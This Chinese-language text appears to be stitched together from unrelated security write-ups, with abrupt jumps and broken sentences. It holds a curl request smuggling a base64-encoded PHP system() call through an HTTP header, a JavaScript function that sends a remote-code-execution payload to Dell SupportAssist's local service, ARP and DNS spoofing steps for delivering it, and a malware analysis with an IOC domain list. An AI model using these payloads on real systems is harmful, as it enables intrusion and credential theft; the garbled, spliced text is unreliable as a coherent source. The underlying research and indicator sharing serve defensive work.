朝虚拟机构造一个请求：

$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图

新建文件：File > New > New Hex File；
粘贴拷贝的十六进制数据：Edit > Paste From > Paste from Hex Text
然后，把“00”字节全部去掉，选择 Search > Replace，查找 00，Replace 那里不填，点“Replace All”，处理后如下

把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据：

$ file p1
p1: zlib compressed data

大多数戴尔计算机上存在远程代码执行漏洞

您使用什么电脑？谁制造的？您是否想过您的电脑附带什么？当我们大量考虑远程代码执行 (RCE) 漏洞时，我们可能会想到操作系统中的漏洞，但另一个需要考虑的攻击媒介是“我的电脑附带了哪些第三方软件？”。在本文中，我将研究我在Dell SupportAssist中发现的远程代码执行漏洞，该软件旨在“主动检查系统硬件和软件的运行状况”，并且“预装在大多数新戴尔设备上

第三个后门
第三个后门和第二个实现逻辑其实差不多，代码如下

我制作了一个自动发送有效载荷的函数

function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;

var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);

var files = [];

files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});

xmlhttp.send(JSON.stringify(files));
}

接下来是来自本地网络的攻击。以下是我在概念验证的外部部分（攻击者的机器）采取的步骤：

获取指定接口的接口 IP 地址。
启动模拟 Web 服务器并为其提供我们要发送的有效负载的文件名。Web 服务器检查 Host 标头是否是downloads.dell.com，如果是，则发送二进制有效负载。如果请求 Host 中包含 dell.com 且不是下载域，则发送我们之前提到的 javascript 有效负载。
要对受害者进行 ARP 欺骗，我们首先启用 IP 转发，然后向受害者发送一个 ARP 数据包，告诉它我们是路由器，并向路由器发送一个 ARP 数据包，告诉它我们是受害者机器。我们在漏洞利用期间每隔几秒重复发送这些数据包。退出时，我们将原始 mac 地址发送给受害者和路由器。
最后，我们使用 iptables 将 DNS 数据包重定向到 netfilter 队列，从而实现 DNS 欺骗。我们监听此 netfilter 队列并检查请求的 DNS 名称是否是我们的目标 URL。如果是，我们会发回一个假 DNS 数据包，表明我们的机器是该 URL 背后的真实 IP 地址。
当受害者访问我们的子域名时（直接通过 url 或间接通过 iframe），我们会向其发送恶意的 javascript 负载，该负载会找到代理的服务端口，从我们之前创建的 php 文件中获取签名，然后发送 RCE 负载。当代理处理 RCE 负载时，它会发出请求，downloads.dell.com然后我们会返回二进制负载

样本分析 – 2.exe
2.exe为32位无壳PE文件，使用与1.exe中矿机相同的加载方法，将PE文件dump下分析为AZORult窃密木马，可以窃取受害者浏览器密码，paypal账号，比特币钱包等敏感信息，通过威胁情报关联，找到了一个木马打包的受害者信息，内含大量敏感信息

IOC信息
矿池地址及C&C

后给出感染情况统计服务器88.99.66.31在2018年的历史解析，

最可以据此排查

imap.yip.su                                   

mcm.iplogger.com                             

www.iplogger.co                               

api.iplogger.com                                

02ip.ru                                      

enterpriseenrollment.iplogger.ru           

iplogger.org                                   

ezstat.ru                                     

office.iplogger.com                              

blog.iplogger.org                                

corp.ezstat.ru                                  

cdn-www.ezstat.ru                             

pub-my.iplogger.com                           

css.iplogger.ru                                  

www.iplogger.ru                               

message.ezstat.ru                              

cdn-www.ezstat.ru                             

iplogger.co                                    

yip.su                                       

www.iplis.ru                                  

www.iplogger.ru                               

devqa.iplogger.org                              

imap.iplogger.com                             

mail.ezstat.ru                                  

docs.ezstat.ru                                  

static.31.66.99.88.clients.your-server.de        

superadmin.maper.info                          

2no.co                                      

sentry.ezstat.ru                                 

pages.ezstat.ru                                 

m.iplogger.com                                

de.ezstat.ru                                   

dwww.iplogger.org                             

iplogger.info                                   

iplogger.blog                                  

plus.ezstat.ru                                  

promod.iplogger.org                            

api.ezstat.ru                                   

yip.su                                       

onelogin.ezstat.ru                               

mobile.iplogger.com                            

support02.maper.info                           

media2.iplogger.org                             

qa.ezstat.ru                                   

dashboard.ezstat.ru                             

prx.ezstat.ru                                   

ipgraber.ru                                    

login.ezstat.ru                                  

wldcrdrcrd.ezstat.ru                      

dr.iplogger.ru                                   

iplo.ru                                       

support02.maper.info                           

games.ezstat.ru                                

partners.ezstat.ru                               

alfa.maper.info                                 

bes.ezstat.ru                                   

qa.ezstat.ru                                   

yip.su                                       

blog.iplogger.org                                

jenkins.ezstat.ru                        

pma.deorg.ru                                 

ease.iplogger.org                               

ftp.iplogger.com                                

devtest.iplogger.ru                       

antispam.iplogger.com                          

ease.iplogger.com                              

www.iplogger.org                              

www.ezstat.ru                                

apac.ezstat.ru                                  

iplogger.info                                   

awmdm.ezstat.ru                             

plus.ezstat.ru                                  

pages.ezstat.ru                                 

games.ezstat.ru                                

cs.ezstat.ru                                    

beta.iplogger.ru                                 

prd.iplogger.ru                                 

aws.ezstat.ru                                  

prix.iplogger.org                         

live.ezstat.ru                            

www.02ip.ru                                 

mobicontrol.iplogger.com                        

vpc.ezstat.ru